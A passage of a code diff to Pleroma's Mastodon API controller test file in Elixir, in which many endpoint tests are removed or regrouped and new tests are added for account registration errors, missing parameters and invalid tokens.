json_response(conn, 200) -      assert to_string(other_user.id) == relationship["id"] - -      user = User.get_cached_by_id(user.id) -      other_user = User.get_cached_by_id(other_user.id) - -      assert User.following?(other_user, user) == true -    end -      test "verify_credentials", %{conn: conn} do        user = insert(:user, %{info: %User.Info{default_scope: "private"}}) @@ -1657,28 +398,6 @@ defmodule Pleroma.Web.MastodonAPI.MastodonAPIControllerTest do        assert %{"id" => id, "source" => %{"privacy" => "private"}} = json_response(conn, 200)        assert id == to_string(user.id)      end - -    test "/api/v1/follow_requests/:id/reject works" do -      user = insert(:user, %{info: %User.Info{locked: true}}) -      other_user = insert(:user) - -      {:ok, _activity} = ActivityPub.follow(other_user, user) - -      user = User.get_cached_by_id(user.id) - -      conn = -        build_conn() -        |> assign(:user, user) -        |> post("/api/v1/follow_requests/#{other_user.id}/reject") - -      assert relationship = json_response(conn, 200) -      assert to_string(other_user.id) == relationship["id"] - -      user = User.get_cached_by_id(user.id) -      other_user = User.get_cached_by_id(other_user.id) - -      assert User.following?(other_user, user) == false -    end    end    describe "account fetching" do @@ -1762,126 +481,72 @@ defmodule Pleroma.Web.MastodonAPI.MastodonAPIControllerTest do      end    end -  test "mascot upload", %{conn: conn} do -    user = insert(:user) - -    non_image_file = %Plug.Upload{ -      content_type: "audio/mpeg", -      path: Path.absname("test/fixtures/sound.mp3"), -      filename: "sound.mp3" -    } - -    conn = -      conn -      |> assign(:user, user) -      |> put("/api/v1/pleroma/mascot", %{"file" => non_image_file}) - -    assert json_response(conn, 415) - -    file = %Plug.Upload{ -      content_type: "image/jpg", -      path: Path.absname("test/fixtures/image.jpg"), -      filename: "an_image.jpg" -    } - -    conn = -      build_conn() -      |> assign(:user, user) -      |> put("/api/v1/pleroma/mascot", %{"file" => file}) - -    assert %{"id" => _, "type" => image} = json_response(conn, 200) -  end - -  test "mascot retrieving", %{conn: conn} do -    user = insert(:user) -    # When user hasn't set a mascot, we should just get pleroma tan back -    conn = -      conn -      |> assign(:user, user) -      |> get("/api/v1/pleroma/mascot") - -    assert %{"url" => url} = json_response(conn, 200) -    assert url =~ "pleroma-fox-tan-smol" - -    # When a user sets their mascot, we should get that back -    file = %Plug.Upload{ -      content_type: "image/jpg", -      path: Path.absname("test/fixtures/image.jpg"), -      filename: "an_image.jpg" -    } - -    conn = -      build_conn() -      |> assign(:user, user) -      |> put("/api/v1/pleroma/mascot", %{"file" => file}) - -    assert json_response(conn, 200) - -    user = User.get_cached_by_id(user.id) - -    conn = -      build_conn() -      |> assign(:user, user) -      |> get("/api/v1/pleroma/mascot") - -    assert %{"url" => url, "type" => "image"} = json_response(conn, 200) -    assert url =~ "an_image" -  end - -  test "hashtag timeline", %{conn: conn} do -    following = insert(:user) - -    capture_log(fn -> -      {:ok, activity} = CommonAPI.post(following, %{"status" => "test #2hu"}) +  describe "/api/v1/pleroma/mascot" do +    test "mascot upload", %{conn: conn} do +      user = insert(:user) -      {:ok, [_activity]} = -        OStatus.fetch_activity_from_url("https://shitposter.club/notice/2827873") +      non_image_file = %Plug.Upload{ +        content_type: "audio/mpeg", +        path: Path.absname("test/fixtures/sound.mp3"), +        filename: "sound.mp3" +      } -      nconn = +      conn =          conn -        |> get("/api/v1/timelines/tag/2hu") - -      assert [%{"id" => id}] = json_response(nconn, 200) - -      assert id == to_string(activity.id) +        |> assign(:user, user) +        |> put("/api/v1/pleroma/mascot", %{"file" => non_image_file}) -      # works for different capitalization too -      nconn = -        conn -        |> get("/api/v1/timelines/tag/2HU") +      assert json_response(conn, 415) -      assert [%{"id" => id}] = json_response(nconn, 200) +      file = %Plug.Upload{ +        content_type: "image/jpg", +        path: Path.absname("test/fixtures/image.jpg"), +        filename: "an_image.jpg" +      } -      assert id == to_string(activity.id) -    end) -  end +      conn = +        build_conn() +        |> assign(:user, user) +        |> put("/api/v1/pleroma/mascot", %{"file" => file}) -  test "multi-hashtag timeline", %{conn: conn} do -    user = insert(:user) +      assert %{"id" => _, "type" => image} = json_response(conn, 200) +    end -    {:ok, activity_test} = CommonAPI.post(user, %{"status" => "#test"}) -    {:ok, activity_test1} = CommonAPI.post(user, %{"status" => "#test #test1"}) -    {:ok, activity_none} = CommonAPI.post(user, %{"status" => "#test #none"}) +    test "mascot retrieving", %{conn: conn} do +      user = insert(:user) +      # When user hasn't set a mascot, we should just get pleroma tan back +      conn = +        conn +        |> assign(:user, user) +        |> get("/api/v1/pleroma/mascot") -    any_test = -      conn -      |> get("/api/v1/timelines/tag/test", %{"any" => ["test1"]}) +      assert %{"url" => url} = json_response(conn, 200) +      assert url =~ "pleroma-fox-tan-smol" -    [status_none, status_test1, status_test] = json_response(any_test, 200) +      # When a user sets their mascot, we should get that back +      file = %Plug.Upload{ +        content_type: "image/jpg", +        path: Path.absname("test/fixtures/image.jpg"), +        filename: "an_image.jpg" +      } -    assert to_string(activity_test.id) == status_test["id"] -    assert to_string(activity_test1.id) == status_test1["id"] -    assert to_string(activity_none.id) == status_none["id"] +      conn = +        build_conn() +        |> assign(:user, user) +        |> put("/api/v1/pleroma/mascot", %{"file" => file}) -    restricted_test = -      conn -      |> get("/api/v1/timelines/tag/test", %{"all" => ["test1"], "none" => ["none"]}) +      assert json_response(conn, 200) -    assert [status_test1] == json_response(restricted_test, 200) +      user = User.get_cached_by_id(user.id) -    all_test = conn |> get("/api/v1/timelines/tag/test", %{"all" => ["none"]}) +      conn = +        build_conn() +        |> assign(:user, user) +        |> get("/api/v1/pleroma/mascot") -    assert [status_none] == json_response(all_test, 200) +      assert %{"url" => url, "type" => "image"} = json_response(conn, 200) +      assert url =~ "an_image" +    end    end    test "getting followers", %{conn: conn} do @@ -2193,23 +858,51 @@ defmodule Pleroma.Web.MastodonAPI.MastodonAPIControllerTest do      end    end -  test "subscribing / unsubscribing to a user", %{conn: conn} do -    user = insert(:user) -    subscription_target = insert(:user) +  describe "subscribing / unsubscribing" do +    test "subscribing / unsubscribing to a user", %{conn: conn} do +      user = insert(:user) +      subscription_target = insert(:user) -    conn = -      conn -      |> assign(:user, user) -      |> post("/api/v1/pleroma/accounts/#{subscription_target.id}/subscribe") +      conn = +        conn +        |> assign(:user, user) +        |> post("/api/v1/pleroma/accounts/#{subscription_target.id}/subscribe") -    assert %{"id" => _id, "subscribing" => true} = json_response(conn, 200) +      assert %{"id" => _id, "subscribing" => true} = json_response(conn, 200) -    conn = -      build_conn() -      |> assign(:user, user) -      |> post("/api/v1/pleroma/accounts/#{subscription_target.id}/unsubscribe") +      conn = +        build_conn() +        |> assign(:user, user) +        |> post("/api/v1/pleroma/accounts/#{subscription_target.id}/unsubscribe") -    assert %{"id" => _id, "subscribing" => false} = json_response(conn, 200) +      assert %{"id" => _id, "subscribing" => false} = json_response(conn, 200) +    end +  end + +  describe "subscribing" do +    test "returns 404 when subscription_target not found", %{conn: conn} do +      user = insert(:user) + +      conn = +        conn +        |> assign(:user, user) +        |> post("/api/v1/pleroma/accounts/target_id/subscribe") + +      assert %{"error" => "Record not found"} = json_response(conn, 404) +    end +  end + +  describe "unsubscribing" do +    test "returns 404 when subscription_target not found", %{conn: conn} do +      user = insert(:user) + +      conn = +        conn +        |> assign(:user, user) +        |> post("/api/v1/pleroma/accounts/target_id/unsubscribe") + +      assert %{"error" => "Record not found"} = json_response(conn, 404) +    end    end    test "getting a list of mutes", %{conn: conn} do @@ -2263,46 +956,6 @@ defmodule Pleroma.Web.MastodonAPI.MastodonAPIControllerTest do      assert [%{"id" => ^other_user_id}] = json_response(conn, 200)    end -  test "blocking / unblocking a domain", %{conn: conn} do -    user = insert(:user) -    other_user = insert(:user, %{ap_id: "https://dogwhistle.zone/@pundit"}) - -    conn = -      conn -      |> assign(:user, user) -      |> post("/api/v1/domain_blocks", %{"domain" => "dogwhistle.zone"}) - -    assert %{} = json_response(conn, 200) -    user = User.get_cached_by_ap_id(user.ap_id) -    assert User.blocks?(user, other_user) - -    conn = -      build_conn() -      |> assign(:user, user) -      |> delete("/api/v1/domain_blocks", %{"domain" => "dogwhistle.zone"}) - -    assert %{} = json_response(conn, 200) -    user = User.get_cached_by_ap_id(user.ap_id) -    refute User.blocks?(user, other_user) -  end - -  test "getting a list of domain blocks", %{conn: conn} do -    user = insert(:user) - -    {:ok, user} = User.block_domain(user, "bad.site") -    {:ok, user} = User.block_domain(user, "even.worse.site") - -    conn = -      conn -      |> assign(:user, user) -      |> get("/api/v1/domain_blocks") - -    domain_blocks = json_response(conn, 200) - -    assert "bad.site" in domain_blocks -    assert "even.worse.site" in domain_blocks -  end -    test "unimplemented follow_requests, blocks, domain blocks" do      user = insert(:user) @@ -2594,14 +1247,11 @@ defmodule Pleroma.Web.MastodonAPI.MastodonAPIControllerTest do      {:ok, _} = CommonAPI.post(user, %{"status" => "cofe"})      # Stats should count users with missing or nil `info.deactivated` value -    user = User.get_cached_by_id(user.id) -    info_change = Changeset.change(user.info, %{deactivated: nil})      {:ok, _user} = -      user -      |> Changeset.change() -      |> Changeset.put_embed(:info, info_change) -      |> User.update_and_set_cache() +      user.id +      |> User.get_cached_by_id() +      |> User.update_info(&Changeset.change(&1, %{deactivated: nil}))      Pleroma.Stats.force_update() @@ -2652,10 +1302,6 @@ defmodule Pleroma.Web.MastodonAPI.MastodonAPIControllerTest do        [user: user, activity: activity]      end -    clear_config([:instance, :max_pinned_statuses]) do -      Config.put([:instance, :max_pinned_statuses], 1) -    end -      test "returns pinned statuses", %{conn: conn, user: user, activity: activity} do        {:ok, _} = CommonAPI.pin(activity.id, user) @@ -2669,257 +1315,6 @@ defmodule Pleroma.Web.MastodonAPI.MastodonAPIControllerTest do        assert [%{"id" => ^id_str, "pinned" => true}] = result      end - -    test "pin status", %{conn: conn, user: user, activity: activity} do -      id_str = to_string(activity.id) - -      assert %{"id" => ^id_str, "pinned" => true} = -               conn -               |> assign(:user, user) -               |> post("/api/v1/statuses/#{activity.id}/pin") -               |> json_response(200) - -      assert [%{"id" => ^id_str, "pinned" => true}] = -               conn -               |> assign(:user, user) -               |> get("/api/v1/accounts/#{user.id}/statuses?pinned=true") -               |> json_response(200) -    end - -    test "/pin: returns 400 error when activity is not public", %{conn: conn, user: user} do -      {:ok, dm} = CommonAPI.post(user, %{"status" => "test", "visibility" => "direct"}) - -      conn = -        conn -        |> assign(:user, user) -        |> post("/api/v1/statuses/#{dm.id}/pin") - -      assert json_response(conn, 400) == %{"error" => "Could not pin"} -    end - -    test "unpin status", %{conn: conn, user: user, activity: activity} do -      {:ok, _} = CommonAPI.pin(activity.id, user) - -      id_str = to_string(activity.id) -      user = refresh_record(user) - -      assert %{"id" => ^id_str, "pinned" => false} = -               conn -               |> assign(:user, user) -               |> post("/api/v1/statuses/#{activity.id}/unpin") -               |> json_response(200) - -      assert [] = -               conn -               |> assign(:user, user) -               |> get("/api/v1/accounts/#{user.id}/statuses?pinned=true") -               |> json_response(200) -    end - -    test "/unpin: returns 400 error when activity is not exist", %{conn: conn, user: user} do -      conn = -        conn -        |> assign(:user, user) -        |> post("/api/v1/statuses/1/unpin") - -      assert json_response(conn, 400) == %{"error" => "Could not unpin"} -    end - -    test "max pinned statuses", %{conn: conn, user: user, activity: activity_one} do -      {:ok, activity_two} = CommonAPI.post(user, %{"status" => "HI!!!"}) - -      id_str_one = to_string(activity_one.id) - -      assert %{"id" => ^id_str_one, "pinned" => true} = -               conn -               |> assign(:user, user) -               |> post("/api/v1/statuses/#{id_str_one}/pin") -               |> json_response(200) - -      user = refresh_record(user) - -      assert %{"error" => "You have already pinned the maximum number of statuses"} = -               conn -               |> assign(:user, user) -               |> post("/api/v1/statuses/#{activity_two.id}/pin") -               |> json_response(400) -    end -  end - -  describe "cards" do -    setup do -      Config.put([:rich_media, :enabled], true) - -      user = insert(:user) -      %{user: user} -    end - -    test "returns rich-media card", %{conn: conn, user: user} do -      {:ok, activity} = CommonAPI.post(user, %{"status" => "https://example.com/ogp"}) - -      card_data = %{ -        "image" => "http://ia.media-imdb.com/images/rock.jpg", -        "provider_name" => "example.com", -        "provider_url" => "https://example.com", -        "title" => "The Rock", -        "type" => "link", -        "url" => "https://example.com/ogp", -        "description" => -          "Directed by Michael Bay. With Sean Connery, Nicolas Cage, Ed Harris, John Spencer.", -        "pleroma" => %{ -          "opengraph" => %{ -            "image" => "http://ia.media-imdb.com/images/rock.jpg", -            "title" => "The Rock", -            "type" => "video.movie", -            "url" => "https://example.com/ogp", -            "description" => -              "Directed by Michael Bay. With Sean Connery, Nicolas Cage, Ed Harris, John Spencer." -          } -        } -      } - -      response = -        conn -        |> get("/api/v1/statuses/#{activity.id}/card") -        |> json_response(200) - -      assert response == card_data - -      # works with private posts -      {:ok, activity} = -        CommonAPI.post(user, %{"status" => "https://example.com/ogp", "visibility" => "direct"}) - -      response_two = -        conn -        |> assign(:user, user) -        |> get("/api/v1/statuses/#{activity.id}/card") -        |> json_response(200) - -      assert response_two == card_data -    end - -    test "replaces missing description with an empty string", %{conn: conn, user: user} do -      {:ok, activity} = -        CommonAPI.post(user, %{"status" => "https://example.com/ogp-missing-data"}) - -      response = -        conn -        |> get("/api/v1/statuses/#{activity.id}/card") -        |> json_response(:ok) - -      assert response == %{ -               "type" => "link", -               "title" => "Pleroma", -               "description" => "", -               "image" => nil, -               "provider_name" => "example.com", -               "provider_url" => "https://example.com", -               "url" => "https://example.com/ogp-missing-data", -               "pleroma" => %{ -                 "opengraph" => %{ -                   "title" => "Pleroma", -                   "type" => "website", -                   "url" => "https://example.com/ogp-missing-data" -                 } -               } -             } -    end -  end - -  test "bookmarks" do -    user = insert(:user) -    for_user = insert(:user) - -    {:ok, activity1} = -      CommonAPI.post(user, %{ -        "status" => "heweoo?" -      }) - -    {:ok, activity2} = -      CommonAPI.post(user, %{ -        "status" => "heweoo!" -      }) - -    response1 = -      build_conn() -      |> assign(:user, for_user) -      |> post("/api/v1/statuses/#{activity1.id}/bookmark") - -    assert json_response(response1, 200)["bookmarked"] == true - -    response2 = -      build_conn() -      |> assign(:user, for_user) -      |> post("/api/v1/statuses/#{activity2.id}/bookmark") - -    assert json_response(response2, 200)["bookmarked"] == true - -    bookmarks = -      build_conn() -      |> assign(:user, for_user) -      |> get("/api/v1/bookmarks") - -    assert [json_response(response2, 200), json_response(response1, 200)] == -             json_response(bookmarks, 200) - -    response1 = -      build_conn() -      |> assign(:user, for_user) -      |> post("/api/v1/statuses/#{activity1.id}/unbookmark") - -    assert json_response(response1, 200)["bookmarked"] == false - -    bookmarks = -      build_conn() -      |> assign(:user, for_user) -      |> get("/api/v1/bookmarks") - -    assert [json_response(response2, 200)] == json_response(bookmarks, 200) -  end - -  describe "conversation muting" do -    setup do -      post_user = insert(:user) -      user = insert(:user) - -      {:ok, activity} = CommonAPI.post(post_user, %{"status" => "HIE"}) - -      [user: user, activity: activity] -    end - -    test "mute conversation", %{conn: conn, user: user, activity: activity} do -      id_str = to_string(activity.id) - -      assert %{"id" => ^id_str, "muted" => true} = -               conn -               |> assign(:user, user) -               |> post("/api/v1/statuses/#{activity.id}/mute") -               |> json_response(200) -    end - -    test "cannot mute already muted conversation", %{conn: conn, user: user, activity: activity} do -      {:ok, _} = CommonAPI.add_mute(user, activity) - -      conn = -        conn -        |> assign(:user, user) -        |> post("/api/v1/statuses/#{activity.id}/mute") - -      assert json_response(conn, 400) == %{"error" => "conversation is already muted"} -    end - -    test "unmute conversation", %{conn: conn, user: user, activity: activity} do -      {:ok, _} = CommonAPI.add_mute(user, activity) - -      id_str = to_string(activity.id) -      user = refresh_record(user) - -      assert %{"id" => ^id_str, "muted" => false} = -               conn -               |> assign(:user, user) -               |> post("/api/v1/statuses/#{activity.id}/unmute") -               |> json_response(200) -    end    end    describe "reports" do @@ -3155,262 +1550,18 @@ defmodule Pleroma.Web.MastodonAPI.MastodonAPIControllerTest do      end    end -  describe "scheduled activities" do -    test "creates a scheduled activity", %{conn: conn} do -      user = insert(:user) -      scheduled_at = NaiveDateTime.add(NaiveDateTime.utc_now(), :timer.minutes(120), :millisecond) - -      conn = -        conn -        |> assign(:user, user) -        |> post("/api/v1/statuses", %{ -          "status" => "scheduled", -          "scheduled_at" => scheduled_at -        }) - -      assert %{"scheduled_at" => expected_scheduled_at} = json_response(conn, 200) -      assert expected_scheduled_at == Pleroma.Web.CommonAPI.Utils.to_masto_date(scheduled_at) -      assert [] == Repo.all(Activity) -    end - -    test "creates a scheduled activity with a media attachment", %{conn: conn} do -      user = insert(:user) -      scheduled_at = NaiveDateTime.add(NaiveDateTime.utc_now(), :timer.minutes(120), :millisecond) - -      file = %Plug.Upload{ -        content_type: "image/jpg", -        path: Path.absname("test/fixtures/image.jpg"), -        filename: "an_image.jpg" +  describe "create account by app" do +    setup do +      valid_params = %{ +        username: "lain", +        email: "lain@example.org", +        password: "PlzDontHackLain", +        agreement: true        } -      {:ok, upload} = ActivityPub.upload(file, actor: user.ap_id) - -      conn = -        conn -        |> assign(:user, user) -        |> post("/api/v1/statuses", %{ -          "media_ids" => [to_string(upload.id)], -          "status" => "scheduled", -          "scheduled_at" => scheduled_at -        }) - -      assert %{"media_attachments" => [media_attachment]} = json_response(conn, 200) -      assert %{"type" => "image"} = media_attachment -    end - -    test "skips the scheduling and creates the activity if scheduled_at is earlier than 5 minutes from now", -         %{conn: conn} do -      user = insert(:user) - -      scheduled_at = -        NaiveDateTime.add(NaiveDateTime.utc_now(), :timer.minutes(5) - 1, :millisecond) - -      conn = -        conn -        |> assign(:user, user) -        |> post("/api/v1/statuses", %{ -          "status" => "not scheduled", -          "scheduled_at" => scheduled_at -        }) - -      assert %{"content" => "not scheduled"} = json_response(conn, 200) -      assert [] == Repo.all(ScheduledActivity) -    end - -    test "returns error when daily user limit is exceeded", %{conn: conn} do -      user = insert(:user) - -      today = -        NaiveDateTime.utc_now() -        |> NaiveDateTime.add(:timer.minutes(6), :millisecond) -        |> NaiveDateTime.to_iso8601() - -      attrs = %{params: %{}, scheduled_at: today} -      {:ok, _} = ScheduledActivity.create(user, attrs) -      {:ok, _} = ScheduledActivity.create(user, attrs) - -      conn = -        conn -        |> assign(:user, user) -        |> post("/api/v1/statuses", %{"status" => "scheduled", "scheduled_at" => today}) - -      assert %{"error" => "daily limit exceeded"} == json_response(conn, 422) -    end - -    test "returns error when total user limit is exceeded", %{conn: conn} do -      user = insert(:user) - -      today = -        NaiveDateTime.utc_now() -        |> NaiveDateTime.add(:timer.minutes(6), :millisecond) -        |> NaiveDateTime.to_iso8601() - -      tomorrow = -        NaiveDateTime.utc_now() -        |> NaiveDateTime.add(:timer.hours(36), :millisecond) -        |> NaiveDateTime.to_iso8601() - -      attrs = %{params: %{}, scheduled_at: today} -      {:ok, _} = ScheduledActivity.create(user, attrs) -      {:ok, _} = ScheduledActivity.create(user, attrs) -      {:ok, _} = ScheduledActivity.create(user, %{params: %{}, scheduled_at: tomorrow}) - -      conn = -        conn -        |> assign(:user, user) -        |> post("/api/v1/statuses", %{"status" => "scheduled", "scheduled_at" => tomorrow}) - -      assert %{"error" => "total limit exceeded"} == json_response(conn, 422) -    end - -    test "shows scheduled activities", %{conn: conn} do -      user = insert(:user) -      scheduled_activity_id1 = insert(:scheduled_activity, user: user).id |> to_string() -      scheduled_activity_id2 = insert(:scheduled_activity, user: user).id |> to_string() -      scheduled_activity_id3 = insert(:scheduled_activity, user: user).id |> to_string() -      scheduled_activity_id4 = insert(:scheduled_activity, user: user).id |> to_string() - -      conn = -        conn -        |> assign(:user, user) - -      # min_id -      conn_res = -        conn -        |> get("/api/v1/scheduled_statuses?limit=2&min_id=#{scheduled_activity_id1}") - -      result = json_response(conn_res, 200) -      assert [%{"id" => ^scheduled_activity_id3}, %{"id" => ^scheduled_activity_id2}] = result - -      # since_id -      conn_res = -        conn -        |> get("/api/v1/scheduled_statuses?limit=2&since_id=#{scheduled_activity_id1}") - -      result = json_response(conn_res, 200) -      assert [%{"id" => ^scheduled_activity_id4}, %{"id" => ^scheduled_activity_id3}] = result - -      # max_id -      conn_res = -        conn -        |> get("/api/v1/scheduled_statuses?limit=2&max_id=#{scheduled_activity_id4}") - -      result = json_response(conn_res, 200) -      assert [%{"id" => ^scheduled_activity_id3}, %{"id" => ^scheduled_activity_id2}] = result -    end - -    test "shows a scheduled activity", %{conn: conn} do -      user = insert(:user) -      scheduled_activity = insert(:scheduled_activity, user: user) - -      res_conn = -        conn -        |> assign(:user, user) -        |> get("/api/v1/scheduled_statuses/#{scheduled_activity.id}") - -      assert %{"id" => scheduled_activity_id} = json_response(res_conn, 200) -      assert scheduled_activity_id == scheduled_activity.id |> to_string() - -      res_conn = -        conn -        |> assign(:user, user) -        |> get("/api/v1/scheduled_statuses/404") - -      assert %{"error" => "Record not found"} = json_response(res_conn, 404) -    end - -    test "updates a scheduled activity", %{conn: conn} do -      user = insert(:user) -      scheduled_activity = insert(:scheduled_activity, user: user) - -      new_scheduled_at = -        NaiveDateTime.add(NaiveDateTime.utc_now(), :timer.minutes(120), :millisecond) - -      res_conn = -        conn -        |> assign(:user, user) -        |> put("/api/v1/scheduled_statuses/#{scheduled_activity.id}", %{ -          scheduled_at: new_scheduled_at -        }) - -      assert %{"scheduled_at" => expected_scheduled_at} = json_response(res_conn, 200) -      assert expected_scheduled_at == Pleroma.Web.CommonAPI.Utils.to_masto_date(new_scheduled_at) - -      res_conn = -        conn -        |> assign(:user, user) -        |> put("/api/v1/scheduled_statuses/404", %{scheduled_at: new_scheduled_at}) - -      assert %{"error" => "Record not found"} = json_response(res_conn, 404) +      [valid_params: valid_params]      end -    test "deletes a scheduled activity", %{conn: conn} do -      user = insert(:user) -      scheduled_activity = insert(:scheduled_activity, user: user) - -      res_conn = -        conn -        |> assign(:user, user) -        |> delete("/api/v1/scheduled_statuses/#{scheduled_activity.id}") - -      assert %{} = json_response(res_conn, 200) -      assert nil == Repo.get(ScheduledActivity, scheduled_activity.id) - -      res_conn = -        conn -        |> assign(:user, user) -        |> delete("/api/v1/scheduled_statuses/#{scheduled_activity.id}") - -      assert %{"error" => "Record not found"} = json_response(res_conn, 404) -    end -  end - -  test "Repeated posts that are replies incorrectly have in_reply_to_id null", %{conn: conn} do -    user1 = insert(:user) -    user2 = insert(:user) -    user3 = insert(:user) - -    {:ok, replied_to} = CommonAPI.post(user1, %{"status" => "cofe"}) - -    # Reply to status from another user -    conn1 = -      conn -      |> assign(:user, user2) -      |> post("/api/v1/statuses", %{"status" => "xD", "in_reply_to_id" => replied_to.id}) - -    assert %{"content" => "xD", "id" => id} = json_response(conn1, 200) - -    activity = Activity.get_by_id_with_object(id) - -    assert Object.normalize(activity).data["inReplyTo"] == Object.normalize(replied_to).data["id"] -    assert Activity.get_in_reply_to_activity(activity).id == replied_to.id - -    # Reblog from the third user -    conn2 = -      conn -      |> assign(:user, user3) -      |> post("/api/v1/statuses/#{activity.id}/reblog") - -    assert %{"reblog" => %{"id" => id, "reblogged" => true, "reblogs_count" => 1}} = -             json_response(conn2, 200) - -    assert to_string(activity.id) == id - -    # Getting third user status -    conn3 = -      conn -      |> assign(:user, user3) -      |> get("api/v1/timelines/home") - -    [reblogged_activity] = json_response(conn3, 200) - -    assert reblogged_activity["reblog"]["in_reply_to_id"] == replied_to.id - -    replied_to_user = User.get_by_ap_id(replied_to.data["actor"]) -    assert reblogged_activity["reblog"]["in_reply_to_account_id"] == replied_to_user.id -  end - -  describe "create account by app" do      test "Account registration via Application", %{conn: conn} do        conn =          conn @@ -3454,6 +1605,7 @@ defmodule Pleroma.Web.MastodonAPI.MastodonAPIControllerTest do            username: "lain",            email: "lain@example.org",            password: "PlzDontHackLain", +          bio: "Test Bio",            agreement: true          }) @@ -3472,6 +1624,18 @@ defmodule Pleroma.Web.MastodonAPI.MastodonAPIControllerTest do        assert token_from_db.user.info.confirmation_pending      end +    test "returns error when user already registred", %{conn: conn, valid_params: valid_params} do +      _user = insert(:user, email: "lain@example.org") +      app_token = insert(:oauth_token, user: nil) + +      conn = +        conn +        |> put_req_header("authorization", "Bearer " <> app_token.token) + +      res = post(conn, "/api/v1/accounts", valid_params) +      assert json_response(res, 400) == %{"error" => "{\"email\":[\"has already been taken\"]}"} +    end +      test "rate limit", %{conn: conn} do        app_token = insert(:oauth_token, user: nil) @@ -3515,6 +1679,41 @@ defmodule Pleroma.Web.MastodonAPI.MastodonAPIControllerTest do        assert json_response(conn, :too_many_requests) == %{"error" => "Throttled"}      end + +    test "returns bad_request if missing required params", %{ +      conn: conn, +      valid_params: valid_params +    } do +      app_token = insert(:oauth_token, user: nil) + +      conn = +        conn +        |> put_req_header("authorization", "Bearer " <> app_token.token) + +      res = post(conn, "/api/v1/accounts", valid_params) +      assert json_response(res, 200) + +      [{127, 0, 0, 1}, {127, 0, 0, 2}, {127, 0, 0, 3}, {127, 0, 0, 4}] +      |> Stream.zip(valid_params) +      |> Enum.each(fn {ip, {attr, _}} -> +        res = +          conn +          |> Map.put(:remote_ip, ip) +          |> post("/api/v1/accounts", Map.delete(valid_params, attr)) +          |> json_response(400) + +        assert res == %{"error" => "Missing parameters"} +      end) +    end + +    test "returns forbidden if token is invalid", %{conn: conn, valid_params: valid_params} do +      conn = +        conn +        |> put_req_header("authorization", "Bearer " <> "invalid-token") + +      res = post(conn, "/api/v1/accounts", valid_params) +      assert json_response(res, 403) == %{"error" => "Invalid credentials"} +    end    end    describe "GET /api/v1/polls/:id" do @@ -3689,148 +1888,6 @@ defmodule Pleroma.Web.MastodonAPI.MastodonAPIControllerTest do      end    end -  describe "GET /api/v1/statuses/:id/favourited_by" do -    setup do -      user = insert(:user) -      {:ok, activity} = CommonAPI.post(user, %{"status" => "test"}) - -      conn = -        build_conn() -        |> assign(:user, user) - -      [conn: conn, activity: activity] -    end - -    test "returns users who have favorited the status", %{conn: conn, activity: activity} do -      other_user = insert(:user) -      {:ok, _, _} = CommonAPI.favorite(activity.id, other_user) - -      response = -        conn -        |> get("/api/v1/statuses/#{activity.id}/favourited_by") -        |> json_response(:ok) - -      [%{"id" => id}] = response - -      assert id == other_user.id -    end - -    test "returns empty array when status has not been favorited yet", %{ -      conn: conn, -      activity: activity -    } do -      response = -        conn -        |> get("/api/v1/statuses/#{activity.id}/favourited_by") -        |> json_response(:ok) - -      assert Enum.empty?(response) -    end - -    test "does not return users who have favorited the status but are blocked", %{ -      conn: %{assigns: %{user: user}} = conn, -      activity: activity -    } do -      other_user = insert(:user) -      {:ok, user} = User.block(user, other_user) - -      {:ok, _, _} = CommonAPI.favorite(activity.id, other_user) - -      response = -        conn -        |> assign(:user, user) -        |> get("/api/v1/statuses/#{activity.id}/favourited_by") -        |> json_response(:ok) - -      assert Enum.empty?(response) -    end - -    test "does not fail on an unauthenticated request", %{conn: conn, activity: activity} do -      other_user = insert(:user) -      {:ok, _, _} = CommonAPI.favorite(activity.id, other_user) - -      response = -        conn -        |> assign(:user, nil) -        |> get("/api/v1/statuses/#{activity.id}/favourited_by") -        |> json_response(:ok) - -      [%{"id" => id}] = response -      assert id == other_user.id -    end -  end - -  describe "GET /api/v1/statuses/:id/reblogged_by" do -    setup do -      user = insert(:user) -      {:ok, activity} = CommonAPI.post(user, %{"status" => "test"}) - -      conn = -        build_conn() -        |> assign(:user, user) - -      [conn: conn, activity: activity] -    end - -    test "returns users who have reblogged the status", %{conn: conn, activity: activity} do -      other_user = insert(:user) -      {:ok, _, _} = CommonAPI.repeat(activity.id, other_user) - -      response = -        conn -        |> get("/api/v1/statuses/#{activity.id}/reblogged_by") -        |> json_response(:ok) - -      [%{"id" => id}] = response - -      assert id == other_user.id -    end - -    test "returns empty array when status has not been reblogged yet", %{ -      conn: conn, -      activity: activity -    } do -      response = -        conn -        |> get("/api/v1/statuses/#{activity.id}/reblogged_by") -        |> json_response(:ok) - -      assert Enum.empty?(response) -    end - -    test "does not return users who have reblogged the status but are blocked", %{ -      conn: %{assigns: %{user: user}} = conn, -      activity: activity -    } do -      other_user = insert(:user) -      {:ok, user} = User.block(user, other_user) - -      {:ok, _, _} = CommonAPI.repeat(activity.id, other_user) - -      response = -        conn -        |> assign(:user, user) -        |> get("/api/v1/statuses/#{activity.id}/reblogged_by") -        |> json_response(:ok) - -      assert Enum.empty?(response) -    end - -    test "does not fail on an unauthenticated request", %{conn: conn, activity: activity} do -      other_user = insert(:user) -      {:ok, _, _} = CommonAPI.repeat(activity.id, other_user) - -      response = -        conn -        |> assign(:user, nil) -        |> get("/api/v1/statuses/#{activity.id}/reblogged_by") -        |> json_response(:ok) - -      [%{"id" => id}] = response -      assert id == other_user.id -    end -  end -    describe "POST /auth/password, with valid parameters" do      setup %{conn: conn} do        user = insert(:user) @@ -3848,6 +1905,7 @@ defmodule Pleroma.Web.MastodonAPI.MastodonAPIControllerTest do      end      test "it sends an email to user", %{user: user} do +      ObanHelpers.perform_all()        token_record = Repo.get_by(Pleroma.PasswordResetToken, user_id: user.id)        email = Pleroma.Emails.UserEmail.password_reset_email(user, token_record.token) @@ -3884,13 +1942,9 @@ defmodule Pleroma.Web.MastodonAPI.MastodonAPIControllerTest do    describe "POST /api/v1/pleroma/accounts/confirmation_resend" do      setup do -      user = insert(:user) -      info_change = User.Info.confirmation_changeset(user.info, need_confirmation: true) -        {:ok, user} = -        user -        |> Changeset.change() -        |> Changeset.put_embed(:info, info_change) +        insert(:user) +        |> User.change_info(&User.Info.confirmation_changeset(&1, need_confirmation: true))          |> Repo.update()        assert user.info.confirmation_pending @@ -3908,6 +1962,8 @@ defmodule Pleroma.Web.MastodonAPI.MastodonAPIControllerTest do        |> post("/api/v1/pleroma/accounts/confirmation_resend?email=#{user.email}")        |> json_response(:no_content) +      ObanHelpers.perform_all() +        email = Pleroma.Emails.UserEmail.account_confirmation_email(user)        notify_email = Config.get([:instance, :notify_email])        instance_name = Config.get([:instance, :name]) @@ -3963,13 +2019,15 @@ 